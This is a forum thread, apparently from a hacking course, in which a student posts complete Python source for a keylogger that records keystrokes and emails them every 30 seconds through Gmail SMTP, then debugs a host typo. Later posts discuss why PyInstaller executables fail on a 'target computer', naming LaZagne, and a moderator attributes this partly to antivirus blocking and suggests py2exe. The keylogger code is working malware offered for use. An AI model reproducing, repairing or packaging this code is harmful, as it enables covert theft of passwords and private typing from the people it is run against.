Viewing 5 posts - 1 through 5 (of 5 total)
  • Author
    Posts
  • #42905
    y4gud007
    Participant

    Hi Zaid,
    Kindly help look into what could have caused this error, I tried same code on three computers but same error

    filename: keylogger.py

    import pynput.keyboard
    import threading
    import smtplib
    import os

    class Keylogger:
    receive = os.environ.get(“logger_receive”)

    def __init__(self, time_interval, email, password):
    self.log = “Keylogger Started”
    self.interval = time_interval
    self.email = email
    self.password = password

    def append_to_log(self, string):
    self.log = self.log + string

    def process_key_press(self, key):
    try:
    current_key = str(key.char)
    except AttributeError:
    if key == key.space:
    current_key = ” ”
    else:
    current_key = ” ” + str(key) + ” ”
    self.append_to_log(current_key)

    def report(self):
    self.send_email(self.email, self.password, “\n\n” + self.log)
    self.log = “”
    timer = threading.Timer(self.interval, self.report)
    timer.start()

    def send_email(self, email, password, message):
    server = smtplib.SMTP(“smpt.gmail.com”, 587)
    server.starttls()
    server.login(email, password)
    server.sendmail(email, receive, message)
    server.set_debuglevel(1)
    server.quit()

    def start(self):
    keyboard_listener = pynput.keyboard.Listener(
    on_press=self.process_key_press)
    with keyboard_listener:
    self.report()
    keyboard_listener.join()

    second filename: logger.py

    import keylogger
    import os

    my_keylogger = keylogger.Keylogger(30, os.environ.get(“TITUS_ID”), os.environ.get(“TITUS_PASS”))

    my_keylogger.start()

    Error:

    Traceback (most recent call last):
    File “c:/Users/1/inbuilt/Desktop/2nd_logger/logger.py”, line 6, in <module>
    my_keylogger.start()
    File “c:\Users\1\inbuilt\Desktop\2nd_logger\keylogger.py”, line 47, in start
    self.report()
    File “c:\Users\1\inbuilt\Desktop\2nd_logger\keylogger.py”, line 30, in report
    self.send_email(self.email, self.password, “\n\n” + self.log)
    File “c:\Users\1\inbuilt\Desktop\2nd_logger\keylogger.py”, line 36, in send_email
    server = smtplib.SMTP(“smpt.gmail.com”, 587)
    File “C:\Users\1\AppData\Local\Programs\Python\Python38\lib\smtplib.py”, line 253, in __init__
    (code, msg) = self.connect(host, port)
    File “C:\Users\1\AppData\Local\Programs\Python\Python38\lib\smtplib.py”, line 339, in connect
    self.sock = self._get_socket(host, port, self.timeout)
    File “C:\Users\1\AppData\Local\Programs\Python\Python38\lib\smtplib.py”, line 308, in _get_socket
    return socket.create_connection((host, port), timeout,
    File “C:\Users\1\AppData\Local\Programs\Python\Python38\lib\socket.py”, line 787, in create_connection
    for res in getaddrinfo(host, port, 0, SOCK_STREAM):
    File “C:\Users\1\AppData\Local\Programs\Python\Python38\lib\socket.py”, line 918, in getaddrinfo
    for res in _socket.getaddrinfo(host, port, family, type, proto, flags):
    socket.gaierror: [Errno 11001] getaddrinfo failed

    #42922
    y4gud007
    Participant

    Nevermind, I have figured it out… it was an smtp misspelled, “smpt.gmail.com” instead of “smtp.gmail.com”

    However, I always have issues with converted exe files when running on target computer… it always says “Fatal errors, unable to run script (filename)”

    #42924
    Diego PérezDiego Pérez
    Moderator

    Hi!
    Cool you got it!

    Do you have the same issue with any script? where are you compiling them? in kali or windows?

    Let me know.
    Diego

    #42932
    y4gud007
    Participant

    Hi Diego,

    Thanks for your quick response’

    I’ve switched forth and back between windows 10 and kali since the first time encountered this issue just to know what causes the error.
    I had the same issues with Zaid zlogger that I cloned on github as well

    Meanwhile, I have successfully run some .exe file that I converted through pyinstaller, Most of my direct coding runs fine when I converted from .py to .exe but I mostly have this error with someone else’s code or already compiled .exe application.

    Do you have any idea what could be causing this? I encountered the same issues when toying around with LaZagne too. “Fatal errors, unable to run script (filename)”

    Any help or reference would be appreciated.
    Thanks

    #43045
    Diego PérezDiego Pérez
    Moderator

    Hi!
    It could happen for many different reasons, first if the script interacts with the command line, as Zaid explained when compiling the backdoor. Also it can be because defender or any AV is preventing the executable to run, this can happen when it needs to connect with anither device or service, or just some libraries fail to compile properly using pyinstaller. There’s another tool that can be used, it’s called py2exe, try to do some google research and you’ll find it.

    Hope it helps!
    Diego

Viewing 5 posts - 1 through 5 (of 5 total)
  • You must be logged in to reply to this topic.